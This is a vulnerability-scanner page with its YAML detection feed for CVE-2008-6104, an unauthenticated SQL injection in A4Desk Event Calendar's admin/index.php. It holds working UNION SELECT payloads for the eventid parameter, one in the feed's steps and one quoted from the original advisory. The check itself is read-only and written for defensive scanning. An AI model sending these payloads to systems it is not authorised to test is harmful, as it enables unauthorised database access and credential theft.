A4Desk Event Calendar — 1 vulnerability check

noctis ships 1 vulnerability check for A4Desk Event Calendar, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

A4Desk Event Calendar 'eventid' SQL Injection

CVECVE-2008-6104
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/a4desk-event-calendar/CVE-2008-6104.yaml

Tests A4Desk Event Calendar for the unauthenticated SQL injection through the eventid parameter of its admin/index.php script. In the web root and in /calendar, once admin/index.php answers, the feed requests it with an eventid that appends a UNION SELECT to the event query; the second selected column, which the page prints, is a text the database builds from the product of two random numbers. Finding that text with the correct product in the page confirms that the database ran the injected query; the product is not part of the request, so a page that only echoes the URL is not reported. The probe reads no table row and changes nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/admin/index.php
  4. HTTP(S) request GET {{dir}}/admin/index.php?eventid=-1+union+all+select+1,concat(0x4e4f43544953,{{m.a}}*{…
  5. Parses / computes the next value with a Rhai script
  6. Checks proof for ^UNION SELECT returned NOCTIS[0-9]+END$ → finding QoD 97: A4Desk Event Calendar 'eventid' SQL Injection (CVE-2008-6104)

References:

Feed source — tests/vulnerabilities/a4desk-event-calendar/CVE-2008-6104.yaml
# A4Desk Event Calendar admin/index.php 'eventid' SQL injection — CVE-2008-6104
#
# A4Desk Event Calendar (Flash calendar with a PHP/MySQL back end) pastes the
# eventid parameter of admin/index.php into its event query without quotes or
# a cast (BID 33835 / EDB-32803):
#   /admin/index.php?eventid=-1+union+all+select+1,concat_ws(version(),...),3,4,5,6--
# The query selects six columns and the second one is printed in the page.
# The product's source is not publicly available any more; the request shape
# comes from the public advisory.
#
# Detection (benign, read-only), in the web root and /calendar:
#   1. GET <dir>/admin/index.php must answer 200 (the admin script exists).
#   2. GET <dir>/admin/index.php?eventid=-1 union all select
#        1,concat(0x4e4f43544953,<a>*<b>,0x454e44),3,4,5,6-- -
#      The page must contain NOCTIS<a×b>END. The two operands are random and
#      only their product proves that the database evaluated the injected
#      SELECT; neither the product nor the "NOCTIS" text is in the request, so
#      a page that echoes the URL is not reported. QoD 97.
#
# Improvements over the source NASL: a database-computed proof instead of a
# fixed hex marker echo, and "-- -" instead of a bare "--", which MySQL only
# accepts as a comment when nothing follows it.
#
# CVSS: CVE-2008-6104 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_a4desk_event_calendar_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100006, GPL-2.0-only).
uid: a1df6a64-be91-422b-9913-59e44e67aefa
name: "A4Desk Event Calendar 'eventid' SQL Injection (CVE-2008-6104)"
description: |
  Tests A4Desk Event Calendar for the unauthenticated SQL injection through
  the eventid parameter of its admin/index.php script. In the web root and in
  /calendar, once admin/index.php answers, the feed requests it with an eventid
  that appends a UNION SELECT to the event query; the second selected column,
  which the page prints, is a text the database builds from the product of two
  random numbers. Finding that text with the correct product in the page
  confirms that the database ran the injected query; the product is not part
  of the request, so a page that only echoes the URL is not reported. The probe
  reads no table row and changes nothing.
cves: [CVE-2008-6104]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [a4desk, a4desk-event-calendar, php, mysql, sqli, union-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-6104"
  - "https://www.exploit-db.com/exploits/32803"
  - "https://web.archive.org/web/2008/https://www.securityfocus.com/bid/33835/info"
  # OpenVAS/Greenbone NASL 2009/gb_a4desk_event_calendar_sql_injection.nasl (GPL-2.0-only)

steps:
  # Random operands; the expected proof is computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-proof
    action: script
    code: '"NOCTIS" + (m.a * m.b) + "END"'
    store_as: want

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-land
    action: set_var
    var_name: land
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/calendar"]
      var: dir

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: landing
    action: http_request
    method: GET
    path: "{{dir}}/admin/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: land

  # eventid=-1 union all select 1,concat(0x4e4f43544953,<a>*<b>,0x454e44),3,4,5,6-- -
  - id: inject-union
    action: http_request
    method: GET
    path: "{{dir}}/admin/index.php?eventid=-1+union+all+select+1,concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),3,4,5,6--+-"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == "" && land.status == 200'
    store_as: inj

  - id: verdict
    action: script
    code: |
      if proof == "" && type_of(inj.body) == "string" && stridx(inj.body, want) >= 0 { "UNION SELECT returned " + want } else { proof }
    store_as: proof

  - id: report
    action: match
    source: proof
    pattern: "^UNION SELECT returned NOCTIS[0-9]+END$"
    on_match:
      finding:
        title: "A4Desk Event Calendar 'eventid' SQL Injection (CVE-2008-6104)"
        description: "An unauthenticated GET to the A4Desk Event Calendar admin/index.php script with a UNION SELECT appended to the eventid parameter made the database compute the product of two random numbers, which the page printed. Any query the calendar's database user may run can be injected the same way, including reading the administrator credentials stored by the calendar."
        remediation: "No fixed A4Desk Event Calendar release is known. Remove the calendar, or block access to its admin directory and make sure eventid is cast to an integer before it reaches the query."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/admin/index.php?eventid=-1 union all select 1,concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),3,4,5,6-- - returned the database-computed value {{want}}"
      stop: true

View these feeds on GitHub